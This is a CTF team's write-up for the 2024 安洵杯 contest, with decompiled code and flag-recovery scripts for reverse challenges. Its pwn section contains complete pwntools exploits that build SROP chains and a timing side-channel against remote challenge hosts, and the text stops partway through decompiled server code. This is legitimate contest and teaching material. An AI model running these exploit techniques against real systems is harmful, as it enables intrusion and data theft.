安洵杯 2024

UKFC 2024 安洵杯 Writeup

Reverse

mobilego

apk 拖入 jadx,MainActivity:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class MainActivity extends AppCompatActivity {
    private Button button;
    private EditText editText;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        this.editText = (EditText) findViewById(R.id.editText);
        Button button = (Button) findViewById(R.id.button);
        this.button = button;
        button.setOnClickListener(new View.OnClickListener() { // from class: com.example.mobilego.MainActivity$$ExternalSyntheticLambda0
            @Override // android.view.View.OnClickListener
            public final void onClick(View view) {
                MainActivity.this.m44lambda$onCreate$0$comexamplemobilegoMainActivity(view);
            }
        });
    }

    /* JADX INFO: Access modifiers changed from: package-private */
    /* renamed from: lambda$onCreate$0$com-example-mobilego-MainActivity  reason: not valid java name */
    public /* synthetic */ void m44lambda$onCreate$0$comexamplemobilegoMainActivity(View v) {
        if (Game.checkflag(this.editText.getText().toString()).equals(getResources().getString(R.string.cmp))) {
            Toast.makeText(this, "yes your flag is right", 0).show();
        } else {
            Toast.makeText(this, "No No No", 0).show();
        }
    }
}

checkflag 是 native 函数,R.string.cmp 在 resources.arsc/res/values/strings.xml 中可找到:

1
<string name="cmp">49021}5f919038b440139g74b7Dc88330e5d{6</string>

checkflag 主要的部分:

逻辑就是循环 length 次,交换其中两个值。随机数种子 qword_19DEB0 交叉引用可以找到 mobile_go.init 中对它赋值为 2023。

不会 go,简单写个输出伪随机数代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package main

import (
    "fmt"
    "math/rand"
)

func main() {
    s1 := rand.NewSource(2023)
    r1 := rand.New(s1)
    for i := 0; i < 38; i++ {
        a := r1.Intn(38);
        b := r1.Intn(38);
        fmt.Println(a, ", ", b);
    }
}

得到的结果给 python:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3

cmp = list('49021}5f919038b440139g74b7Dc88330e5d{6')

seq = '''
11 ,  14
15 ,  37
24 ,  18
8 ,  30
6 ,  9
30 ,  3
29 ,  9
4 ,  13
13 ,  24
37 ,  1
28 ,  28
3 ,  1
23 ,  22
21 ,  26
7 ,  19
1 ,  34
37 ,  17
27 ,  29
31 ,  30
14 ,  2
35 ,  34
4 ,  27
9 ,  3
3 ,  24
30 ,  29
3 ,  27
14 ,  25
26 ,  0
4 ,  28
5 ,  15
9 ,  9
13 ,  18
24 ,  3
35 ,  24
36 ,  27
25 ,  21
11 ,  4
27 ,  28
'''

for i in seq.strip().splitlines()[::-1]:
    a, b = eval(i)
    cmp[a], cmp[b] = cmp[b], cmp[a]

print(''.join(cmp))
# D0g3{4c3b5903d11461f94478b7302980e958}

你见过蓝色的小鲸鱼

没怎么逆,大致看看就行

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
void __cdecl check(HWND hDlg)
{
  Check *v1; // [esp+10h] [ebp-154h]
  Check *v2; // [esp+24h] [ebp-140h]
  CHAR *passwd; // [esp+114h] [ebp-50h]
  CHAR *name; // [esp+120h] [ebp-44h]
  HWND v5; // [esp+12Ch] [ebp-38h]
  HWND hWnd; // [esp+138h] [ebp-2Ch]
  size_t passwd_len; // [esp+144h] [ebp-20h]
  int name_len; // [esp+150h] [ebp-14h]

  __CheckForDebuggerJustMyCode(&unk_52105E);
  hWnd = GetDlgItem(hDlg, 1003);
  v5 = GetDlgItem(hDlg, 1004);
  name_len = GetWindowTextLengthA(hWnd);
  passwd_len = GetWindowTextLengthA(v5);
  name = (CHAR *)j__malloc(__CFADD__(name_len, 16) ? -1 : name_len + 16);
  passwd = (CHAR *)j__malloc(__CFADD__(passwd_len, 16) ? -1 : passwd_len + 16);
  if ( name && passwd )
  {
    GetWindowTextA(hWnd, name, name_len + 16);
    GetWindowTextA(v5, passwd, passwd_len + 16);
    v2 = (Check *)operator new(0x10u);
    if ( v2 )
    {
      bzero(v2, 0x10u);
      v1 = (Check *)sub_450CE3(v2);
    }
    else
    {
      v1 = 0;
    }
    j_set_dst(v1, &unk_51D38C, 0x10u);
    j_encrypt_passwd(v1, name, name_len, passwd, passwd_len);
    j_check_final(v1);
    j__free(name);
    j__free(passwd);
    if ( v1 )
      sub_44F77B(v1, 1);
  }
}

_DWORD *__thiscall encrypt_passwd(Check *this, char *name, size_t name_len, char *passwd, size_t passwd_len)
{
  const void *v5; // eax
  _DWORD *result; // eax
  int v7; // [esp-4h] [ebp-12Ch]
  _DWORD *v8; // [esp+10h] [ebp-118h]
  _DWORD *v9; // [esp+30h] [ebp-F8h]

  __CheckForDebuggerJustMyCode(&unk_52102F);
  v9 = operator new(0x2Cu);
  if ( v9 )
  {
    bzero(v9, 0x2Cu);
    v8 = sub_450CBB(v9, name, name_len);
  }
  else
  {
    v8 = 0;
  }
  sub_4521B5((int)v8, &unk_51C048, &unk_51C000);
  sub_451F08((int)v8, passwd, passwd_len);
  this->src_len = sub_44FEF6(v8);
  this->src = (unsigned __int8 *)operator new(this->src_len);
  v7 = this->src_len;
  v5 = (const void *)sub_4505A4(v8);
  j__memmove(this->src, v5, v7);
  result = v8;
  if ( v8 )
    result = (_DWORD *)sub_44FF0A(1);
  return result;
}

void __thiscall sub_456120(int this, void *data, size_t datalen)
{
  __CheckForDebuggerJustMyCode(&unk_521016);
  if ( datalen && data && *(_DWORD *)(this + 36) == 1 && *(_DWORD *)(this + 40) == 1 )
  {
    if ( (int)datalen % 8 )
      datalen = 8 * ((int)datalen / 8) + 8;
    if ( *(_DWORD *)(this + 12) )
    {
      j_operator delete(*(void **)(this + 12));
      *(_DWORD *)(this + 12) = 0;
    }
    if ( *(_DWORD *)(this + 20) )
    {
      j_operator delete(*(void **)(this + 20));
      *(_DWORD *)(this + 20) = 0;
    }
    *(_DWORD *)(this + 24) = datalen;
    *(_DWORD *)(this + 12) = operator new(datalen);
    j__memset(*(void **)(this + 12), 0, datalen);
    *(_DWORD *)(this + 20) = operator new(datalen);
    j__memset(*(void **)(this + 20), 0, datalen);
    j__memmove(*(void **)(this + 12), data, datalen);
    sub_4522FA((void *)this, (int)j_encrypt, *(_DWORD *)(this + 12));
  }
}

int __thiscall sub_456930(void *this, void (__thiscall *func)(void *, unsigned int *, unsigned int *), unsigned int *input)
{
  unsigned int *v4; // [esp+D0h] [ebp-48h]
  unsigned int v5; // [esp+DCh] [ebp-3Ch] BYREF
  unsigned int Number; // [esp+E8h] [ebp-30h] BYREF
  int v7; // [esp+F4h] [ebp-24h]
  int i; // [esp+100h] [ebp-18h]
  _DWORD *v9; // [esp+10Ch] [ebp-Ch]

  v9 = this;
  __CheckForDebuggerJustMyCode(&unk_521016);
  v7 = v9[6] >> 3;
  v4 = (unsigned int *)v9[5];
  for ( i = 0; i < v7; ++i )
  {
    Number = j___byteswap_ulong(*input);
    v5 = j___byteswap_ulong(input[1]);
    func(v9, &Number, &v5);
    *v4 = j___byteswap_ulong(Number);
    v4[1] = j___byteswap_ulong(v5);
    input += 2;
    v4 += 2;
  }
  return 0;
}

sub_456120 很明显的加解密统一函数,将 sub_4522FA 第二个参数设置为单轮解密函数 sub_456120 就是解密函数,碰巧可以找得到解密函数在 0x4559D0,所以上调试将输入(passwd)改成目标指针 0x51D38C,再将 sub_4522FA 第二个参数改成 0x4559D0,解密完成就能得到正确的 passwd。

D0g3{UzBtZTBuZV9EMGczQHRoZWJsdWVmMXNo}

感觉有点点简单

简单题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
__int64 sub_1400016F0()
{
  bool v1; // [rsp+20h] [rbp-78h]
  unsigned int size; // [rsp+24h] [rbp-74h] BYREF
  char *flag; // [rsp+28h] [rbp-70h]
  char *buf2; // [rsp+30h] [rbp-68h]
  __int64 v5; // [rsp+38h] [rbp-60h]
  __int64 v6; // [rsp+40h] [rbp-58h]
  __int64 v7; // [rsp+48h] [rbp-50h] BYREF
  const char *wrong; // [rsp+50h] [rbp-48h]
  const char *right; // [rsp+58h] [rbp-40h]
  _UNICODE_STRING flag_path; // [rsp+60h] [rbp-38h] BYREF
  _UNICODE_STRING path; // [rsp+70h] [rbp-28h] BYREF

  size = 4096;
  memset(&v7, 0, sizeof(v7));
  RtlInitUnicodeString(&flag_path, L"\\??\\C:\\Users\\Public\\flag.txt");
  flag = (char *)ExAllocatePool(NonPagedPool, 0x1000ui64);
  buf2 = (char *)ExAllocatePool(NonPagedPool, 0x1000ui64);
  if ( flag && buf2 )
  {
    v5 = size;
    memset(buf2, 0, size);
    v6 = size;
    memset(flag, 0, size);
    qmemcpy(&path, &flag_path, sizeof(path));
    if ( readfile(&path, v7, flag, &size) )
    {
      if ( size <= 0xC00 )
      {
        encrypt(flag, size, "the_key_", 8u);
        base64(buf2, flag, size);
        v1 = check_result(buf2, 56);
        right = "tips: YES, RIGHT FLAG.   you got it!";
        wrong = "tips: NO , WRONG ANSWER. try again !";
        if ( v1 )
          DbgPrint("tips: %s\n", right);
        else
          DbgPrint("tips: %s\n", wrong);
      }
      else
      {
        DbgPrint("tips: file to long \n");
      }
    }
    else
    {
      DbgPrint("tips: can not read|open file\n");
    }
  }
  else
  {
    DbgPrint("tips: can not malloc\n");
  }
  if ( flag )
  {
    ExFreePoolWithTag(flag, 0);
    flag = 0i64;
  }
  if ( buf2 )
  {
    ExFreePoolWithTag(buf2, 0);
    buf2 = 0i64;
  }
  return 0i64;
}

encrypt 是个类似 rc4 的算法,base64 换了表以及编码方式,都很简单。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3

enc = '6zviISn2McHsa4b108v29tbKMtQQXQHA+2+sTYLlg9v2Q2Pq8SP24Uw='
table = '4KBbSzwWClkZ2gsr1qA+Qu0FtxOm6/iVcJHPY9GNp7EaRoDf8UvIjnL5MydTX3eh'

enc = enc.replace('=', table[0])
dec = []
for i in range(0, len(enc), 4):
    x = [table.index(j) for j in enc[i: i + 4]]
    dec.append(x[0] | ((x[1] & 3) << 6))
    dec.append((x[1] >> 2) | ((x[2] & 0xf) << 4))
    dec.append((x[2] >> 4) | (x[3] << 2))

key = b'the_key_'
box = list(range(64))

i = 0
for j in range(64):
    i = (i + box[j] + key[j % 8]) % 64
    box[i], box[j] = box[j], box[i]

j = 0
k = 0
for i in range(len(dec)):
    j = (j + 1) % 64
    k = (box[j] + k) % 64
    box[k], box[j] = box[j], box[k]
    dec[i] ^= (k ^ j) & box[((k ^ j) + box[k] + box[j]) % 64]

print(bytes(dec))
# D0g3{608292C4-15400BA4-B3299A5C-704C292D}

你好,PE

re4 只是个壳,用来加载资源段的另一个 pe。不过不是 pe 格式,没法直接给 ida 分析。dump 出来手动加载一下各个段,再根据字符串引用也很容易找到主逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
int sub_1005F820()
{
  _DWORD *v0; // eax
  int result; // eax
  size_t v2; // eax
  _DWORD *v3[3]; // [esp+CCh] [ebp-Ch] BYREF

  memset(v3, 0xCCu, sizeof(v3));
  sub_1005B16F(&unk_1014000F);
  VirtualAlloc(0, 0x1000Cu, 0x3000u, 4u);
  sub_1005A260(1);
  v3[1] = v0;
  if ( !v0 )
    return -1;
  v3[1][1] = 0x10000;
  *v3[1] = 0;
  v3[1][2] = v3[1] + 3;
  sub_10059572(v3[1][2], 0, v3[1][1]);
  j_printf("[out]: PLZ Input FLag \n");
  j_printf("[in ]: ");
  j_scanf("%s", v3[1][2]);
  v2 = j_strlen(*((const char **)v3[1] + 2));
  *v3[1] = v2;
  if ( *v3[1] == 41 )
  {
    *v3[1] = 48;
    j_encrypt(v3[1]);
    if ( !j_memcmp(*((const void **)v3[1] + 2), byte_1013C008, 48u) )
      j_printf("[out]: RIGHT FLAG\n");
    else
      j_printf("[out]: WRONG FLAG\n");
    VirtualFree(v3[1], 0, 0xC000);
    sub_1005A260(1);
    result = 0;
  }
  else
  {
    j_printf("[out]: len error\n");
    VirtualFree(v3[1], 0, 0xC000);
    sub_1005A260(1);
    result = -1;
  }
  return result;
}

_DWORD *__cdecl encrypt(_DWORD *data)
{
  _DWORD *result; // eax
  int v2; // edx
  __int64 *v3; // eax
  int v4; // edx
  int v5; // [esp+CCh] [ebp-34h] BYREF
  int j; // [esp+D0h] [ebp-30h]
  unsigned int i; // [esp+DCh] [ebp-24h]
  __int64 x; // [esp+E8h] [ebp-18h]
  __int64 *v9; // [esp+F8h] [ebp-8h]

  memset(&v5, 0xCCu, 0x34u);
  sub_1005B16F(&unk_1014000F);
  for ( i = 0; ; ++i )
  {
    result = data;
    if ( i >= *data >> 3 )
      break;
    v9 = (__int64 *)(data[2] + 8 * i);
    v2 = *((_DWORD *)v9 + 1);
    LODWORD(x) = *(_DWORD *)v9;
    HIDWORD(x) = v2;
    for ( j = 0; j < 64; ++j )
    {
      if ( x < 0 )
        x = qword_1013C000 ^ j_shl64(x, 1u);
      else
        x = j_shl64(x, 1u);
    }
    v3 = v9;
    v4 = HIDWORD(x);
    *(_DWORD *)v9 = x;
    *((_DWORD *)v3 + 1) = v4;
  }
  return result;
}

算法很简单,直接求。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3

def decrypt(value, key):
    assert key & 1
    key |= 1 << 64
    for i in range(64):
        if value & 1:
            value = (value ^ key) >> 1
        else:
            value = value >> 1
    return value

out = bytes.fromhex('4db87629f5a99e595556b1c42f212c30b3797817a8edf7dbe153f0dbe903515e09c100dff096fcc1b5e6629501000000')
flag = b''
for i in range(0, len(out), 8):
    v = int.from_bytes(out[i: i + 8], 'little')
    flag += decrypt(v, 0x54aa4a9).to_bytes(8, 'little')

print(flag)
# D0g3{60E1E72A-576A8BF0-7701CBB9-B02415EC}

牢大想你了

不是很懂这道题。GalgamePro_BackUpThisFolder_ButDontShipItWithYourGame\Managed 目录下就是 dll,都不需要 il2cpp 啥的。随便翻翻 GameManager 就能找到关键代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3

enc = [
    3363017039, 1247970816, 549943836, 445086378,
    3606751618, 1624361316, 3112717362, 705210466,
    3343515702, 2402214294, 4010321577, 2743404694
]

key = [286331153, 286331153, 286331153, 286331153]

def encrypt(v0, v1, key):
    sum = 0
    delta = 2654435769
    for i in range(32):
        sum = sum + delta & 0xffffffff
        v0 = v0 + (((v1 << 4) + key[0]) ^ (v1 + sum) ^ ((v1 >> 5) + key[1])) & 0xffffffff
        v1 = v1 + (((v0 << 4) + key[2]) ^ (v0 + sum) ^ ((v0 >> 5) + key[3])) & 0xffffffff
    return v0, v1

def decrypt(v0, v1, key):
    delta = 2654435769
    sum = 32 * delta & 0xffffffff
    for i in range(32):
        v1 = v1 - (((v0 << 4) + key[2]) ^ (v0 + sum) ^ ((v0 >> 5) + key[3])) & 0xffffffff
        v0 = v0 - (((v1 << 4) + key[0]) ^ (v1 + sum) ^ ((v1 >> 5) + key[1])) & 0xffffffff
        sum = sum - delta & 0xffffffff
    return v0, v1


flag = b''
for i in range(0, len(enc), 2):
    x, y = decrypt(enc[i], enc[i + 1], key)
    flag += x.to_bytes(4, 'little')
    flag += y.to_bytes(4, 'little')

print(flag)
# it_is_been_a_long_day_without_you_my_friend

Pwn

side_channel , initiate!

先做的 Seccomp 再做的本题,结果也下意识 SROP 一路梭过去了,然后遇到了网络传输由于单个发包超过 1500 导致远程无法通过阻塞来打侧信道这件事

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
'''
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x07 0xffffffff  if (A != 0xffffffff) goto 0012
 0005: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0011
 0006: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0011
 0007: 0x15 0x03 0x00 0x0000000a  if (A == mprotect) goto 0011
 0008: 0x15 0x02 0x00 0x0000000f  if (A == rt_sigreturn) goto 0011
 0009: 0x15 0x01 0x00 0x0000005a  if (A == chmod) goto 0011
 0010: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL
'''
from pwn import *
context.arch = 'amd64'
context.os = 'linux'

bss_addr = 0x404060 + 24
rt_sigreturn_addr =  0x0000000000401193 #mov rax, 0xf ; ret
syscall_addr = 0x000000000040118a
leave_ret = 0x401446

def send_all_payload(p, shellcode):
    p.recvuntil('easyhack\n')
    flag_addr = 0x404060 + 24

    # open('flag', 0)
    frame1 = SigreturnFrame()
    frame1.rax = constants.SYS_open
    frame1.rdi = flag_addr
    frame1.rsi = 0
    frame1.rsp = bss_addr + 248 + 8 * 2
    frame1.rip = syscall_addr

    # read(3, 0x404060, 0x100)
    frame2 = SigreturnFrame()
    frame2.rax = constants.SYS_read
    frame2.rdi = 3
    frame2.rsi = 0x404060
    frame2.rdx = 0x100
    frame2.rsp = bss_addr + 248 + 8 * 3 + 248 + 8 * 1
    frame2.rip = syscall_addr

    shellcode_start_addr = 0x4045b0
    # mrpotect(shellcode_start_addr, 0x1000, 7)
    frame3 = SigreturnFrame()
    frame3.rax = constants.SYS_mprotect
    frame3.rdi = shellcode_start_addr & 0xfffffffffffff000
    frame3.rsi = 0x1000
    frame3.rdx = 7
    frame3.rsp = bss_addr + 248 + 8 * 3 + 248 + 8 * 2 + 248 + 8 * 1
    frame3.rip = syscall_addr

    # jump to shellcode_start_addr
    frame4 = SigreturnFrame()
    frame4.rip = shellcode_start_addr
    frame4.rsp = 0x404060

    payload = b''.join([
        b'\xfe' * 24,
        b'flag\x00\x00\x00\x00',
        p64(rt_sigreturn_addr),
        p64(syscall_addr),
        bytes(frame1),
        p64(rt_sigreturn_addr),
        p64(syscall_addr),
        bytes(frame2),
        p64(rt_sigreturn_addr),
        p64(syscall_addr),
        bytes(frame3),
        p64(rt_sigreturn_addr),
        p64(syscall_addr),
        bytes(frame4),
        p64(rt_sigreturn_addr),
        p64(syscall_addr),
        bytes(frame4),
    ])
    info(f'before add shellcode, payload len: {len(payload)}')
    payload = payload.ljust(shellcode_start_addr - 0x404060, b'\x00')
    payload += shellcode
    info(f'bss payload len: {len(payload)}')
    assert len(payload) <= 0x1000

    p.send(payload)
    p.recvuntil('SUID?\n')

    p.send(
        b'a' * 0x2A +
        p64(bss_addr) +
        p64(leave_ret)
    )

def pwn():
    flag = "flag: "
    count = 1
    for i in range (0, 0x40):
        secret=''
        for j in range(7):
            # p=process('./chall')
            p = remote("47.108.206.43", 24303)
            orw_payload = ''
            orw_payload += f'''
                mov dl,byte ptr [rsp+{i}]
                shr dl,{j}
                and dl,1
                cmp dl,1
                je stuck
                mov al,0xe7
                mov rdi, 0
                syscall
                stuck:
                    jmp stuck
            '''
            orw_payload = asm(orw_payload)
            send_all_payload(p, orw_payload)
            start_time = time.time()
            try:
                p.recv(timeout=0.5)
                if time.time() - start_time < 0.5:
                    secret='1'+secret
                secret='1'+secret
            except EOFError:
                secret='0'+secret
            # p.interactive()
            p.close()
        flag=flag+chr(int('0b'+secret, 2))
        print('************************************')
        print(flag)
pwn()

最终爆破

  • [0x0, 0x20)

  • [0x20, 0x40)

Seccomp

SROP 一把梭

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
'''
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x07 0xffffffff  if (A != 0xffffffff) goto 0012
 0005: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0011
 0007: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x0000000f  if (A == rt_sigreturn) goto 0011
 0009: 0x15 0x01 0x00 0x0000005a  if (A == chmod) goto 0011
 0010: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL

'''
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

bss_addr = 0x404060 + 24
rt_sigreturn_addr =  0x0000000000401193 #mov rax, 0xf ; ret
syscall_addr = 0x000000000040118a
leave_ret = 0x40143C

# p = process('./chall')
p = remote("47.108.206.43", 34531)

p.recvuntil('easyhack\n')

flag_addr = 0x404060 + 24
# open('flag', 0)
frame1 = SigreturnFrame()
frame1.rax = constants.SYS_open
frame1.rdi = flag_addr
frame1.rsi = 0
frame1.rsp = bss_addr + 248 + 8 * 2
frame1.rip = syscall_addr

# read(3, 0x404060, 0x100)
frame2 = SigreturnFrame()
frame2.rax = constants.SYS_read
frame2.rdi = 3
frame2.rsi = 0x404060
frame2.rdx = 0x100
frame2.rsp = bss_addr + 248 + 8 * 3 + 248 + 8 * 1
frame2.rip = syscall_addr

# write(1, 0x404060, 0x100)
frame3 = SigreturnFrame()
frame3.rax = constants.SYS_write
frame3.rdi = 1
frame3.rsi = 0x404060
frame3.rdx = 0x100
frame3.rsp = 0x404060
frame3.rip = syscall_addr

payload = b''.join([
    b'a' * 24,
    b'flag\x00\x00\x00\x00',
    p64(rt_sigreturn_addr),
    p64(syscall_addr),
    bytes(frame1),
    p64(rt_sigreturn_addr),
    p64(syscall_addr),
    bytes(frame2),
    p64(rt_sigreturn_addr),
    p64(syscall_addr),
    bytes(frame3),
])

p.send(payload)
p.recvuntil('SUID?\n')

p.send(
    b'a' * 0x2A +
    p64(bss_addr) +
    p64(leave_ret)
)

p.interactive()

最终运行获取 flag 的截图:

my_qq

本来以为环境是开一个对外的 10000 端口,只能得到网络流 recv 的东西,开环境后发现给了两个 nc 地址,其中一个是和程序运行的标准流交互,另一个就是通过 accept 得到的网络流交互,那么 puts 和 printf 的结果也能得到。。。那就简单多了。

逆向的大致逻辑:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  uint16_t v4; // ax
  unsigned int v6; // ebx
  char *v7; // rax
  unsigned int client_fd; // [rsp+10h] [rbp-60h] MAPDST BYREF
  socklen_t addr_len; // [rsp+14h] [rbp-5Ch] BYREF
  int i; // [rsp+18h] [rbp-58h]
  int server_fd; // [rsp+1Ch] [rbp-54h]
  pthread_t newthread; // [rsp+20h] [rbp-50h] BYREF
  void *v13; // [rsp+28h] [rbp-48h]
  struct sockaddr_in s; // [rsp+30h] [rbp-40h] BYREF
  struct sockaddr_in addr; // [rsp+40h] [rbp-30h] BYREF
  unsigned __int64 v16; // [rsp+58h] [rbp-18h]

  v16 = __readfsqword(0x28u);
  client_fd = -1;
  setup();
  alarm(30u);
  signal(SIGALRM, (__sighandler_t)handler);
  if ( read_pem() == -1 )
    exit(-1);
  v3 = BIO_s_mem();
  v13 = BIO_new(v3);
  PEM_write_bio_RSA_PUBKEY(v13, pbkey);
  qword_7548 = (int)BIO_ctrl(v13, 10LL, 0LL, 0LL);
  BIO_free(v13);
  pthread_mutex_init(&mutex, 0LL);
  memset(&s, 0, sizeof(s));
  s.sin_family = 2;
  s.sin_addr.s_addr = inet_addr("0.0.0.0");
  s.sin_port = htons(10000u);
  server_fd = socket(AF_INET, SOCK_STREAM, 6);
  if ( server_fd == -1 )
  {
    perror("socket");
    exit(-1);
  }
  if ( bind(server_fd, (const struct sockaddr *)&s, 0x10u) == -1 )
  {
    perror("bind");
    exit(-1);
  }
  if ( listen(server_fd, 5) == -1 )
  {
    perror("listen");
    exit(-1);
  }
  v4 = ntohs(s.sin_port);
  printf("Server is listening on port %d........\n", v4);
  while ( 1 )
  {
    while ( 1 )
    {
      addr_len = 16;
      client_fd = accept(server_fd, (struct sockaddr *)&addr, &addr_len);
      if ( client_fd != -1 )
        break;
      perror("accept");
    }
    v6 = ntohs(addr.sin_port);
    v7 = inet_ntoa(addr.sin_addr);
    printf("Client connected: %s:%d on sock %d\n", v7, v6, client_fd);
    pthread_mutex_lock(&mutex);
    for ( i = 0; i <= 19 && conns[i]; ++i )
      ;
    if ( i != 20 && !conns[i] )
    {
      conns[i] = (Conn *)malloc(0x30uLL);
      conns[i]->client_fd = client_fd;
      ++conn_count;
    }
    pthread_mutex_unlock(&mutex);
    if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, &client_fd) )
    {
      perror("pthread_create");
      exit(-1);
    }
    pthread_detach(newthread);
  }
}

void __fastcall __noreturn start_routine(void *arg)
{
  int client_fd; // [rsp+1Ch] [rbp-14h] BYREF
  int v2; // [rsp+20h] [rbp-10h]
  char buf[4]; // [rsp+24h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  client_fd = *(_DWORD *)arg;
  while ( 1 )
  {
    v2 = recv(client_fd, buf, 4uLL, 0);
    if ( v2 == -1 )
      break;
    puts(buf);
    if ( !strcmp(buf, "yes") )
    {
      if ( handle_client_logon(&client_fd) == -1 )
      {
        perror("handle_client_logon");
        exit(-1);
      }
    }
    else if ( handle_client_register(&client_fd) == -1 )
    {
      perror("handle_client_register");
      exit(-1);
    }
  }
  perror("response");
  exit(-1);
}

int __fastcall handle_client_logon(int *arg)
{
  char v2[1032]; // [rsp-410h] [rbp-1880h] BYREF
